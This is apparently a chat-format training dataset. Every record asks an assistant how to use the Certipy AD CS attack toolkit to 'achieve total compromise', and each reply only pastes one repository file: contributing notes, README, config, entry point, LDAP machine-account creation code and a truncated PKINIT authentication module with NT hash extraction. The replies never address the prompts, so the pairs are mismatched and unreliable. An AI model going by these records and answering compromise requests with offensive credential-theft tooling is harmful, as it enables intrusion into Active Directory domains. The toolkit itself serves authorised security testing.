{"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: CONTRIBUTING.md\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n# \ud83e\udd1d Contributing to Certipy\n\nThank you for your interest in contributing to **Certipy**! Whether you're reporting a bug, improving documentation, or submitting a pull request - your help is appreciated.\n\n---\n\n## \ud83d\udccb Issues\n\nPlease use the appropriate issue template when opening a new issue:\n\n- \ud83d\udc1e **Bug Reports**: Include the version, OS, the exact command used (redacted if needed), error output, and any relevant `certipy find` info.\n- \ud83d\ude4b **Help Requests**: For general questions or clarification on usage, not tied to a specific error.\n- \u2728 **Feature Requests**: Describe the feature, your use case, and any alternatives or examples.\n\n\ud83d\udc49 Issue templates will guide you when you [open an issue](https://github.com/ly4k/Certipy/issues/new/choose).\n\n---\n\n## \ud83e\uddd1\u200d\ud83d\udcbb Code Contributions\n\n### \ud83e\uddfc Code Style\n\nCertipy uses:\n\n- [`black`](https://black.readthedocs.io/) for code formatting\n- [`isort`](https://pycqa.github.io/isort/) for import sorting (configured for black compatibility)\n- [`pyright`](https://github.com/microsoft/pyright) for type checking\n- [`flake8`](https://flake8.pycqa.org/en/latest/) for linting\n\n### \ud83d\udee0 Development Setup\n\n```bash\n# Setup virtual environment\npython3 -m venv venv\nsource venv/bin/activate\n\n# Install dev dependencies\npip install -e .\npip install black isort pyright flake8 pep8-naming\n````\n\n### \ud83d\udd0d Code Quality Checks (before committing)\n\n```bash\nflake8 ./certipy && isort . && black . && pyright\n```\n\n---\n\n## \u2705 Submitting Pull Requests\n\n1. Fork the repo and create a branch:\n `git checkout -b feature/my-feature-name`\n2. Follow the coding standards above\n3. Keep PRs small and focused\n4. Include a brief description of **why** the change is useful\n5. Link to any relevant issues (e.g., `Fixes #123`)\n6. Run tests (if applicable)\n7. Explain how to test the changes, setting up the environment, and any dependencies\n8. Submit your PR for review!\n\n---\n\n## \ud83d\udcd8 Contributing to the Wiki\n\nYou can help improve the documentation! To do so:\n\n- Clone the wiki repo directly:\n\n ```bash\n git clone https://github.com/ly4k/Certipy.wiki.git\n ```\n\n- Make your changes in `*.md` files (e.g., `ESC1.md`, `Home.md`)\n- Submit a pull request or send a patch if you're not a collaborator\n- Use Markdown preview tools (like VSCode or `grip`) to review your changes\n\n> [!TIP]\n> For private drafts, maintain a local folder or branch and sync it later to the public `.wiki.git`.\n\n---\n\n## \ud83d\udcac Need Help?\n\nFeel free to open a [Help Request](https://github.com/ly4k/Certipy/issues/new/choose) - just be clear about what you\u2019re trying to accomplish and what you\u2019ve tried.\n\n---\n\nThanks again for supporting Certipy!\n\n\u2013 [@ly4k](https://github.com/ly4k)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: README.md\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n# Certipy - AD CS Attack & Enumeration Toolkit\n\n[![PyPI version](https://img.shields.io/pypi/v/certipy-ad?v5.0.3)](https://pypi.org/project/certipy-ad/)\n![Python](https://img.shields.io/badge/python-3.12+-blue.svg)\n![License](https://img.shields.io/github/license/ly4k/Certipy)\n\n**Certipy** is a powerful offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services (AD CS). It helps red teamers, penetration testers, and defenders assess AD CS misconfigurations - including full support for identifying and exploiting all known **ESC1-ESC16** attack paths.\n\n> [!WARNING]\n> Use only in environments where you have explicit authorization. Unauthorized use may be illegal.\n\n---\n\n## \ud83d\udd0d Features\n\n* \ud83d\udd0e Discover Certificate Authorities and Templates\n* \ud83d\udea9 Identify misconfigurations\n* \ud83d\udd10 Request and forge certificates\n* \ud83c\udfad Perform authentication using certificates\n* \ud83d\udce1 Relay NTLM authentication to AD CS HTTP(S)/RPC endpoints\n* \ud83d\udddd\ufe0f Support for Shadow Credentials, Golden Certificates, and Certificate Mapping Attacks\n* \ud83e\uddf0 And much more!\n\n---\n\n## \ud83d\udcda Full Wiki & Documentation\n\nRead the full **step-by-step usage guide**, including installation, vulnerability explanations, examples, and mitigations in the [\ud83d\udcd8 Certipy Wiki](https://github.com/ly4k/Certipy/wiki).\n\n---\n\n## \u2699\ufe0f Installation\n\nSee the [Installation Guide](https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation) for instructions on how to install Certipy.\n\n---\n\n## \ud83d\ude80 Quick Start\n\nSee the [Quick Start Guide](https://github.com/ly4k/Certipy/wiki/05-%E2%80%90-Usage) for a quick overview of the most common commands and usage examples.\n\n---\n\n## \ud83c\udfaf Supported AD CS Vulnerabilities\n\nCertipy supports detection and exploitation of AD CS vulnerabilities across the full range of ESC1-ESC16.\n\nFor detailed explanations and exploitation steps, refer to the [Certipy Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation).\n\n---\n\n## \ud83d\udcce Resources\n\nSee the [Resources](https://github.com/ly4k/Certipy/wiki/03-%E2%80%90-Resources) for selection of key resources related to AD CS security.\n\n---\n\n## \ud83e\udd1d Contributing\n\nContributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on reporting issues, improving documentation, or submitting pull requests.\n\n---\n\n## \ud83c\udf1f Sponsors\n\nThanks to these generous sponsors for supporting the development of this project. Your contributions help sustain ongoing work and improvements.\n\n\"User\"User\"User\n\n---\n\n## \ud83d\udc64 Author\n\nDeveloped by [@ly4k](https://github.com/ly4k), with valuable contributions from the community.\n\n---\n\n## \ud83d\udcd8 Wiki\n\n\ud83d\udcd6 Visit the [**Certipy Wiki**](https://github.com/ly4k/Certipy/wiki) for detailed documentation, usage examples, ESC vulnerability breakdowns, and mitigation advice.\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: pyrightconfig.json\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n{\n \"include\": [\"certipy/\"],\n \"exclude\": [\n \"**/__pycache__\",\n\t\t\"venv/\",\n \t\"**/site-packages/impacket\"\n ],\n\t\"typeCheckingMode\": \"standard\",\n\t\"strictListInference\": true,\n\t\"strictDictionaryInference\": true,\n\t\"strictSetInference\": true,\n\t\"reportAssertAlwaysTrue\": \"error\",\n\t\"reportInvalidStringEscapeSequence\": \"error\",\n\t\"reportInvalidTypeVarUse\": \"error\",\n\t\"reportSelfClsParameterName\": \"error\",\n\t\"reportUnsupportedDunderAll\": \"error\",\n\t\"reportUnusedExpression\": \"error\",\n\t\"reportWildcardImportFromLibrary\": \"error\",\n\t\"reportConstantRedefinition\": \"error\",\n\t\"reportDeprecated\": \"error\",\n\t\"reportDuplicateImport\": \"error\",\n\t\"reportIncompleteStub\": \"error\",\n\t\"reportInconsistentConstructor\": \"error\",\n\t\"reportMatchNotExhaustive\": \"error\",\n\t\"reportMissingParameterType\": \"error\",\n\t\"reportMissingTypeArgument\": \"error\",\n\t\"reportTypeCommentUsage\": \"error\",\n\t\"reportUnnecessaryCast\": \"error\",\n\t\"reportUnnecessaryComparison\": \"error\",\n\t\"reportUnnecessaryContains\": \"error\",\n\t\"reportUnnecessaryIsInstance\": \"error\",\n\t\"reportUnusedClass\": \"error\",\n\t\"reportUnusedImport\": \"error\",\n\t\"reportUnusedFunction\": \"error\",\n\t\"reportUnusedVariable\": \"error\",\n\t\"reportUntypedBaseClass\": \"error\",\n\t\"reportUntypedClassDecorator\": \"error\",\n\t\"reportUntypedFunctionDecorator\": \"error\",\n\t\"reportUntypedNamedTuple\": \"error\",\n\t\"reportUnnecessaryTypeIgnoreComments\": true\n}\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/entry.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n# PYTHON_ARGCOMPLETE_OK\nimport argparse\nimport logging\nimport sys\n\nimport argcomplete\n\nfrom certipy import version\nfrom certipy.commands.parsers import ENTRY_PARSERS\nfrom certipy.lib import logger\nfrom certipy.lib.errors import handle_error\n\n\ndef main() -> None:\n logger.init()\n\n print(version.BANNER, file=sys.stderr)\n\n if \"-debug\" in sys.argv or \"--debug\" in sys.argv:\n sys.argv = [arg for arg in sys.argv if arg not in [\"-debug\", \"--debug\"]]\n logger.logging.setLevel(logging.DEBUG)\n logger.set_verbose(True)\n else:\n logger.logging.setLevel(logging.INFO)\n\n for arg in sys.argv:\n if arg.lower() in [\"--version\", \"-v\", \"-version\"]:\n return\n\n parser = argparse.ArgumentParser(\n add_help=False,\n description=\"Active Directory Certificate Services enumeration and abuse\",\n )\n\n _ = parser.add_argument(\n \"-v\",\n \"--version\",\n action=\"store_true\",\n help=\"Show Certipy's version number and exit\",\n default=argparse.SUPPRESS,\n )\n _ = parser.add_argument(\n \"-h\",\n \"--help\",\n action=\"help\",\n default=argparse.SUPPRESS,\n help=\"Show this help message and exit\",\n )\n\n subparsers = parser.add_subparsers(help=\"Action\", dest=\"action\", required=True)\n\n actions = {}\n\n for entry_parser in ENTRY_PARSERS:\n action, entry = entry_parser.add_subparser(subparsers)\n actions[action] = entry\n\n argcomplete.autocomplete(parser, always_complete_options=False)\n\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n\n options = parser.parse_args()\n\n try:\n actions[options.action](options)\n except Exception as e:\n logger.logging.error(f\"Got error: {e}\")\n handle_error()\n\n\nif __name__ == \"__main__\":\n main()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/version.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n# Initialize version as unknown\nversion = \"?\"\n\n# Try modern importlib.metadata approach (Python 3.8+)\ntry:\n from importlib.metadata import version as get_version # type: ignore\n\n version = get_version(\"certipy-ad\")\nexcept ImportError:\n # For Python < 3.8, try importlib_metadata backport\n try:\n from importlib_metadata import version as get_version # type: ignore\n\n version = get_version(\"certipy-ad\")\n except ImportError:\n # Fall back to pkg_resources (setuptools)\n try:\n import pkg_resources # type: ignore\n\n version = pkg_resources.get_distribution(\"certipy-ad\").version # type: ignore\n except Exception:\n print(\n \"Cannot determine Certipy version. \"\n 'If running from source you should at least run \"python setup.py egg_info\"'\n )\n\nBANNER = \"Certipy v{} - by Oliver Lyak (ly4k)\\n\".format(version)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/account.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nActive Directory Account Management Module for Certipy.\n\nThis module provides CRUD (Create, Read, Update, Delete) operations for Active Directory accounts,\nprimarily focusing on computer accounts. It allows:\n- Creating new computer accounts\n- Reading account attributes\n- Updating account properties (password, SPNs, DNS names, etc.)\n- Deleting accounts\n\nThese operations are performed via LDAP and require appropriate permissions in the domain.\n\"\"\"\n\nimport argparse\nimport random\nimport string\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport ldap3\nfrom ldap3.core.results import (\n RESULT_INSUFFICIENT_ACCESS_RIGHTS,\n RESULT_UNWILLING_TO_PERFORM,\n)\n\nfrom certipy.lib.formatting import pretty_print\nfrom certipy.lib.ldap import LDAPConnection\nfrom certipy.lib.logger import logging\nfrom certipy.lib.target import Target\n\n\nclass Account:\n \"\"\"\n Active Directory account management class.\n\n This class provides methods to create, read, update, and delete Active Directory accounts,\n with a focus on computer accounts which can be used for various authentication scenarios.\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n user: str,\n dns: Optional[str] = None,\n upn: Optional[str] = None,\n sam: Optional[str] = None,\n spns: Optional[str] = None,\n passw: Optional[str] = None,\n group: Optional[str] = None,\n connection: Optional[LDAPConnection] = None,\n timeout: int = 5,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize account management with target and account options.\n\n Args:\n target: Target environment information (domain, credentials)\n user: Username for the account to manage\n dns: DNS hostname for the account\n upn: UserPrincipalName to set\n sam: sAMAccountName to set\n spns: Service Principal Names to set (comma-separated)\n passw: Password for the account\n group: Distinguished name of the group to place the account in\n scheme: LDAP connection scheme (ldap or ldaps)\n connection: Existing LDAP connection to reuse\n timeout: Connection timeout in seconds\n **kwargs: Additional arguments\n \"\"\"\n self.target = target\n self.user = user\n self.dns = dns\n self.upn = upn\n self.sam = sam\n self.spns = spns\n self.password = passw\n self.group = group\n self._connection = connection\n self.timeout = timeout\n self.kwargs = kwargs\n\n @property\n def connection(self) -> LDAPConnection:\n \"\"\"\n Get or establish an LDAP connection to the target.\n\n Returns:\n Active LDAP connection\n \"\"\"\n if self._connection is not None:\n return self._connection\n\n self._connection = LDAPConnection(self.target)\n self._connection.connect()\n\n return self._connection\n\n def create(self) -> bool:\n \"\"\"\n Create a new computer account in Active Directory.\n\n This method creates a computer account with the specified properties,\n or with reasonable defaults if not provided.\n\n Returns:\n True if account creation succeeded, False otherwise\n \"\"\"\n # Determine username (sAMAccountName)\n username = self.user\n if self.sam is not None:\n logging.warning(\n \"The parameter -sam overrides the -user parameter for the create operation\"\n )\n res = input(\"Do you want to continue? (Y/n): \")\n if res.strip().lower() == \"n\":\n return False\n\n username = self.sam\n\n # Check if user already exists\n user = self.connection.get_user(username, silent=True)\n if user is not None:\n logging.error(\n f\"User {user.get('sAMAccountName')!r} already exists. \"\n f\"If you want to update the user, specify the 'update' action\"\n )\n return False\n\n # Set container group for the account\n group = self.group\n if group is None:\n group = f\"CN=Computers,{self.connection.default_path}\"\n\n # Ensure computer account name ends with $\n if username[-1] != \"$\":\n username += \"$\"\n\n # Generate random password if not provided\n password = self.password\n if password is None:\n password = \"\".join(\n random.choice(string.ascii_letters + string.digits) for _ in range(16)\n )\n self.password = password\n\n # Set DNS hostname if not provided\n dns = self.dns\n if dns is None:\n dns = f\"{username.rstrip('$')}.{self.connection.domain}\".lower()\n\n # Create DN for the new account\n hostname = username[:-1]\n dn = f\"CN={hostname},{group}\"\n\n # Set default SPNs if not provided\n spns = self.spns\n if spns is None:\n base_name = username.rstrip(\"$\")\n spns = [\n f\"HOST/{base_name}\",\n f\"RestrictedKrbHost/{base_name}\",\n ]\n else:\n spns = [spn.strip() for spn in spns.split(\",\") if spn.strip()]\n\n # Prepare account attributes\n attributes: Dict[str, Any] = {\n \"sAMAccountName\": username,\n \"unicodePwd\": password, # Just for the pretty print\n \"userAccountControl\": 0x1000, # WORKSTATION_TRUST_ACCOUNT\n \"servicePrincipalName\": spns,\n \"dnsHostName\": dns,\n }\n\n logging.info(\"Creating new account:\")\n pretty_print(attributes, indent=2)\n\n # Convert password to proper format for LDAP\n attributes[\"unicodePwd\"] = ('\"%s\"' % password).encode(\"utf-16-le\")\n\n # Add the account via LDAP\n result = self.connection.add(\n dn,\n [\"top\", \"person\", \"organizationalPerson\", \"user\", \"computer\"],\n attributes,\n )\n\n # Handle result\n if result[\"result\"] == 0:\n logging.info(\n f\"Successfully created account {username!r} with password {password!r}\"\n )\n return True\n elif result[\"result\"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n logging.error(\n f\"User {self.target.username!r} doesn't have the right to create a machine account\"\n )\n elif (\n result[\"result\"] == RESULT_UNWILLING_TO_PERFORM\n and int(result[\"message\"].split(\":\")[0].strip(), 16) == 0x216D\n ):\n logging.error(\n f\"Machine account quota exceeded for {self.target.username!r}\"\n )\n else:\n logging.error(\n f\"Received error: ({result['description']}) {result['message']}\"\n )\n\n return False\n\n def read(self) -> bool:\n \"\"\"\n Read and display account attributes.\n\n This method retrieves and displays key attributes of the specified account.\n\n Returns:\n True if account was found and attributes read, False otherwise\n \"\"\"\n # Get user object\n user = self.connection.get_user(self.user)\n if user is None:\n return False\n\n # Define attributes to display\n attributes = [\n \"cn\",\n \"distinguishedName\",\n \"name\",\n \"objectSid\",\n \"sAMAccountName\",\n \"dNSHostName\",\n \"servicePrincipalName\",\n \"userPrincipalName\",\n \"userAccountControl\",\n \"whenCreated\",\n \"whenChanged\",\n ]\n\n # Collect attribute values\n attribute_values = {}\n logging.info(f\"Reading attributes for {user.get('sAMAccountName')!r}:\")\n for attribute in attributes:\n value = user.get(attribute)\n if value is not None:\n attribute_values[attribute] = value\n\n # Display attributes\n pretty_print(attribute_values, indent=2)\n return True\n\n def update(self) -> bool:\n \"\"\"\n Update an existing account's attributes.\n\n This method modifies specified attributes of an existing account.\n\n Returns:\n True if account was successfully updated, False otherwise\n \"\"\"\n # Get user object\n user = self.connection.get_user(self.user)\n if user is None:\n return False\n\n # Prepare attribute changes\n changes: Dict[str, List[Tuple[Any, Any]]] = {}\n changes_formatted: Dict[str, Any] = {}\n\n # Define which attributes to update based on provided parameters\n attribute_mapping = {\n \"unicodePwd\": self.password,\n \"dNSHostName\": self.dns,\n \"userPrincipalName\": self.upn,\n \"sAMAccountName\": self.sam,\n \"servicePrincipalName\": (\n [spn.strip() for spn in self.spns.split(\",\") if spn.strip()]\n if self.spns is not None\n else None\n ),\n }\n\n # Process each attribute that needs to be updated\n for attribute, value in attribute_mapping.items():\n if value is None:\n continue\n\n if value == \"\" or (isinstance(value, list) and len(value) == 0):\n # Delete the attribute\n changes[attribute] = [(ldap3.MODIFY_DELETE, [])]\n changes_formatted[attribute] = \"*DELETED*\"\n else:\n # Replace the attribute with new value\n if attribute == \"unicodePwd\":\n # Special handling for password\n encoded_value = ('\"%s\"' % value).encode(\"utf-16-le\")\n changes_formatted[attribute] = value # Show plaintext in output\n else:\n if isinstance(value, list):\n encoded_value = value\n else:\n encoded_value = [value] # LDAP expects lists for attributes\n changes_formatted[attribute] = value\n\n changes[attribute] = [(ldap3.MODIFY_REPLACE, encoded_value)]\n\n if not changes:\n logging.warning(f\"No changes specified for {user.get('sAMAccountName')!r}\")\n return False\n\n logging.info(f\"Updating user {user.get('sAMAccountName')!r}:\")\n pretty_print(changes_formatted, indent=2)\n\n # Apply changes via LDAP\n result = self.connection.modify(\n user.get(\"distinguishedName\"),\n changes,\n )\n\n # Handle result\n if result[\"result\"] == 0:\n logging.info(f\"Successfully updated {user.get('sAMAccountName')!r}\")\n return True\n elif result[\"result\"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n logging.error(\n f\"User {self.target.username!r} doesn't have permission to update \"\n f\"these attributes on {user.get('sAMAccountName')!r}\"\n )\n else:\n logging.error(f\"Received error: {result['message']}\")\n\n return False\n\n def delete(self) -> bool:\n \"\"\"\n Delete an account from Active Directory.\n\n This method permanently removes the specified account.\n\n Returns:\n True if account was successfully deleted, False otherwise\n \"\"\"\n # Get user object\n user = self.connection.get_user(self.user)\n if user is None:\n return False\n\n # Confirm deletion\n account_name = user.get(\"sAMAccountName\")\n logging.warning(f\"You are about to delete {account_name!r}\")\n res = input(\"Are you sure? (y/N): \")\n if res.strip().lower() != \"y\":\n logging.info(\"Deletion canceled\")\n return False\n\n # Delete account via LDAP\n result = self.connection.delete(user.get(\"distinguishedName\"))\n\n # Handle result\n if result[\"result\"] == 0:\n logging.info(f\"Successfully deleted {account_name!r}\")\n return True\n elif result[\"result\"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:\n logging.error(\n f\"User {self.target.username!r} doesn't have permission to delete {account_name!r}\"\n )\n else:\n logging.error(f\"Received error: {result['message']}\")\n\n return False\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the 'account' command.\n\n This function creates the Account object and dispatches to the appropriate method\n based on the specified action.\n\n Args:\n options: Command line options\n \"\"\"\n # Create target from command line options\n target = Target.from_options(options, dc_as_target=True)\n options.__delattr__(\"target\")\n\n # Create account manager\n account = Account(target, **vars(options))\n\n # Map actions to methods\n actions = {\n \"create\": account.create,\n \"read\": account.read,\n \"update\": account.update,\n \"delete\": account.delete,\n }\n\n # Validate action\n if options.account_action not in actions:\n logging.error(f\"Unknown action: {options.account_action}\")\n logging.info(f\"Available actions: {', '.join(actions.keys())}\")\n return\n\n # Execute the requested action\n result = actions[options.account_action]()\n\n # Set exit code based on result\n if result is False:\n import sys\n\n sys.exit(1)\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/auth.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nKerberos PKINIT and Schannel Authentication Module for Certipy.\n\nThis module provides functionality for certificate-based Kerberos authentication:\n- PKINIT authentication using certificates\n- NT hash extraction via Kerberos U2U\n- LDAPS (Schannel) authentication using certificates\n- Interactive LDAP shell\n\nIt supports various authentication workflows for penetration testing and security assessments.\n\"\"\"\n\nimport argparse\nimport base64\nimport datetime\nimport sys\nfrom random import getrandbits\nfrom typing import Any, Optional, Union\n\nfrom asn1crypto import cms, core\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1\nfrom impacket.examples.ldap_shell import LdapShell as _LdapShell\nfrom impacket.krb5 import constants\nfrom impacket.krb5.asn1 import (\n AD_IF_RELEVANT,\n AP_REQ,\n AS_REP,\n TGS_REP,\n TGS_REQ,\n Authenticator,\n EncASRepPart,\n EncTicketPart,\n)\nfrom impacket.krb5.asn1 import Ticket as TicketAsn1\nfrom impacket.krb5.asn1 import (\n seq_set,\n seq_set_iter,\n)\nfrom impacket.krb5.ccache import CCache\nfrom impacket.krb5.crypto import Key, _enctype_table\nfrom impacket.krb5.kerberosv5 import KerberosError, sendReceive\nfrom impacket.krb5.pac import (\n NTLM_SUPPLEMENTAL_CREDENTIAL,\n PAC_CREDENTIAL_DATA,\n PAC_CREDENTIAL_INFO,\n PAC_INFO_BUFFER,\n PACTYPE,\n)\nfrom impacket.krb5.types import KerberosTime, Principal, Ticket\nfrom pyasn1.codec.der import decoder, encoder\nfrom pyasn1.type.univ import noValue\n\nfrom certipy.lib.certificate import (\n cert_id_to_parts,\n get_identities_from_certificate,\n get_object_sid_from_certificate,\n hash_digest,\n hashes,\n load_pfx,\n print_certificate_authentication_information,\n x509,\n)\nfrom certipy.lib.errors import KRB5_ERROR_MESSAGES, handle_error\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.ldap import LDAPConnection\nfrom certipy.lib.logger import logging\nfrom certipy.lib.pkinit import build_pkinit_as_req\nfrom certipy.lib.structs import EncType, KDCDHKeyInfo, PaPkAsRep, e2i\nfrom certipy.lib.target import Target\n\n\nclass LdapShell(_LdapShell):\n \"\"\"\n Enhanced LDAP shell for interactive administration.\n\n This shell provides a command-line interface for interacting with LDAP\n after successfully authenticating with a certificate.\n \"\"\"\n\n def __init__(self, tcp_shell: Any, domain_dumper: Any, client: Any):\n \"\"\"\n Initialize the LDAP shell.\n\n Args:\n tcp_shell: Shell to use for I/O\n domain_dumper: Domain information provider\n client: LDAP client connection\n \"\"\"\n super().__init__(tcp_shell, domain_dumper, client)\n\n self.use_rawinput = True\n self.shell = tcp_shell\n self.prompt = \"\\n# \"\n self.tid = None\n self.intro = \"Type help for list of commands\"\n self.loggedIn = True\n self.last_output = None\n self.completion = []\n self.client = client\n self.domain_dumper = domain_dumper\n\n def do_dump(self, line: str):\n \"\"\"\n Placeholder for domain dumping functionality.\n\n Args:\n line: Command line input\n \"\"\"\n logging.warning(\"Not implemented\")\n\n def do_exit(self, line: str):\n \"\"\"\n Exit the shell.\n\n Args:\n line: Command line input\n\n Returns:\n True to signal shell exit\n \"\"\"\n print(\"Bye!\")\n return True\n\n\nclass DummyDomainDumper:\n \"\"\"\n Simple domain information provider for the LDAP shell.\n\n This class provides minimal domain information required by the LDAP shell.\n \"\"\"\n\n def __init__(self, root: str):\n \"\"\"\n Initialize with domain root.\n\n Args:\n root: LDAP root path (e.g., DC=contoso,DC=com)\n \"\"\"\n self.root = root\n\n\ndef truncate_key(value: bytes, keysize: int) -> bytes:\n \"\"\"\n Truncate a key to the specified size using SHA1 hashing.\n\n Args:\n value: Input key material\n keysize: Desired key size in bytes\n\n Returns:\n Truncated key of exactly keysize bytes\n \"\"\"\n output = b\"\"\n current_num = 0\n\n while len(output) < keysize:\n current_digest = hash_digest(bytes([current_num]) + value, hashes.SHA1)\n\n if len(output) + len(current_digest) > keysize:\n output += current_digest[: keysize - len(output)]\n break\n\n output += current_digest\n current_num += 1\n\n return output\n\n\nclass Authenticate:\n \"\"\"\n Main authentication class for certificate-based Kerberos and LDAP authentication.\n\n This class provides functionality to:\n - Authenticate to Kerberos using certificates (PKINIT)\n - Extract NT hashes from Kerberos tickets\n - Connect to LDAP using certificate authentication\n - Launch interactive LDAP shells\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n pfx: Optional[str] = None,\n username: Optional[str] = None,\n domain: Optional[str] = None,\n password: Optional[str] = None,\n cert: Optional[x509.Certificate] = None,\n key: Optional[PrivateKeyTypes] = None,\n no_save: bool = False,\n no_hash: bool = False,\n print: bool = False,\n kirbi: bool = False,\n ldap_shell: bool = False,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize authentication parameters.\n\n Args:\n target: Target information (domain, DC IP, etc.)\n pfx: Path to PFX/P12 certificate file\n username: Username to authenticate as\n domain: Domain to authenticate to\n password: Password for PFX file\n cert: Pre-loaded certificate object\n key: Pre-loaded private key object\n no_save: Don't save credential cache to disk\n no_hash: Don't extract NT hash\n print: Print ticket information\n kirbi: Save credential cache in Kirbi format\n ldap_shell: Launch interactive LDAP shell after authentication\n ldap_port: LDAP port (default: 389 for ldap, 636 for ldaps)\n ldap_scheme: LDAP scheme (ldap or ldaps)\n ldap_user_dn: LDAP user distinguished name\n user_dn: User distinguished name\n **kwargs: Additional parameters\n \"\"\"\n self.target = target\n self.username = username\n self.domain = domain\n self.pfx = pfx\n self.password = password\n self.cert = cert\n self.key = key\n self.no_save = no_save\n self.no_hash = no_hash\n self.print = print\n self.kirbi = kirbi\n self.ldap_shell = ldap_shell\n self.kwargs = kwargs\n\n # These will be populated during authentication\n self.nt_hash: Optional[str] = None\n self.lm_hash: Optional[str] = None\n self.ccache_name: Optional[str] = None\n\n # Load certificate and key from PFX if provided\n if self.pfx is not None:\n pfx_password = None\n if self.password:\n pfx_password = self.password.encode()\n\n try:\n with open(self.pfx, \"rb\") as f:\n pfx_data = f.read()\n self.key, self.cert = load_pfx(pfx_data, pfx_password)\n except Exception as e:\n logging.error(f\"Failed to load PFX file: {e}\")\n raise\n\n def authenticate(\n self,\n username: Optional[str] = None,\n domain: Optional[str] = None,\n is_key_credential: bool = False,\n ) -> Union[str, bool, None]:\n \"\"\"\n Authenticate using a certificate.\n\n This is the main entry point for authentication. It will determine\n whether to use LDAP or Kerberos authentication based on configuration.\n\n Args:\n username: Username to authenticate as\n domain: Domain to authenticate to\n is_key_credential: Whether we're using a key credential\n\n Returns:\n NT hash if extracted, True if successful, False if failed, None if error\n \"\"\"\n if not self.cert:\n raise ValueError(\"Certificate is not specified and no PFX was provided\")\n\n # Print authentication information present in the certificate\n print_certificate_authentication_information(self.cert)\n\n # Resolve username and domain from target if not provided\n if not username:\n username = self.username or self.target.username\n\n if not domain:\n domain = self.domain or self.target.domain\n\n # Use LDAP authentication if requested\n if self.ldap_shell:\n return self.ldap_authentication(domain)\n\n # Extract identity information from certificate if needed\n id_type = None\n identity = None\n object_sid = None\n cert_username = None\n cert_domain = None\n\n # Skip certificate parsing for key credentials\n if not is_key_credential:\n # Extract identity information from certificate\n identities = get_identities_from_certificate(self.cert)\n\n # Get the object SID from the certificate if available\n object_sid = get_object_sid_from_certificate(self.cert)\n\n # No identities found in the certificate\n if not identities:\n logging.warning(\"Could not find identity in the provided certificate\")\n\n # Single identity found - use it directly\n elif len(identities) == 1:\n id_type, identity = identities[0]\n cert_username, cert_domain = cert_id_to_parts([(id_type, identity)])\n\n # Multiple identities found - handle based on input parameters\n else:\n logging.info(\"Found multiple identities in certificate\")\n\n # Case 1: If username is provided, try to find a matching identity\n if username:\n matching_ids = []\n for idx, (id_t, id_val) in enumerate(identities):\n u, d = cert_id_to_parts([(id_t, id_val)])\n if u and (\n u.lower() == username.lower()\n or u.lower() + \"$\" == username.lower()\n ):\n matching_ids.append((idx, id_t, id_val, u, d))\n\n # Found exactly one match for the username\n if len(matching_ids) == 1:\n idx, id_type, identity, cert_username, cert_domain = (\n matching_ids[0]\n )\n logging.info(f\"Using identity: {id_type}: {identity}\")\n\n # Found multiple matches - prompt user to select one\n elif len(matching_ids) > 1:\n logging.info(\n f\"Found multiple identities for username '{username}'\"\n )\n logging.info(\"Please select one:\")\n\n for i, (idx, id_t, id_val, u, d) in enumerate(matching_ids):\n print(f\" [{i}] {id_t}: {id_val!r} ({u}@{d})\")\n\n while True:\n try:\n choice = int(input(\"> \"))\n if 0 <= choice < len(matching_ids):\n (\n idx,\n id_type,\n identity,\n cert_username,\n cert_domain,\n ) = matching_ids[choice]\n break\n logging.warning(\"Invalid index\")\n except ValueError:\n logging.warning(\"Invalid input, enter a 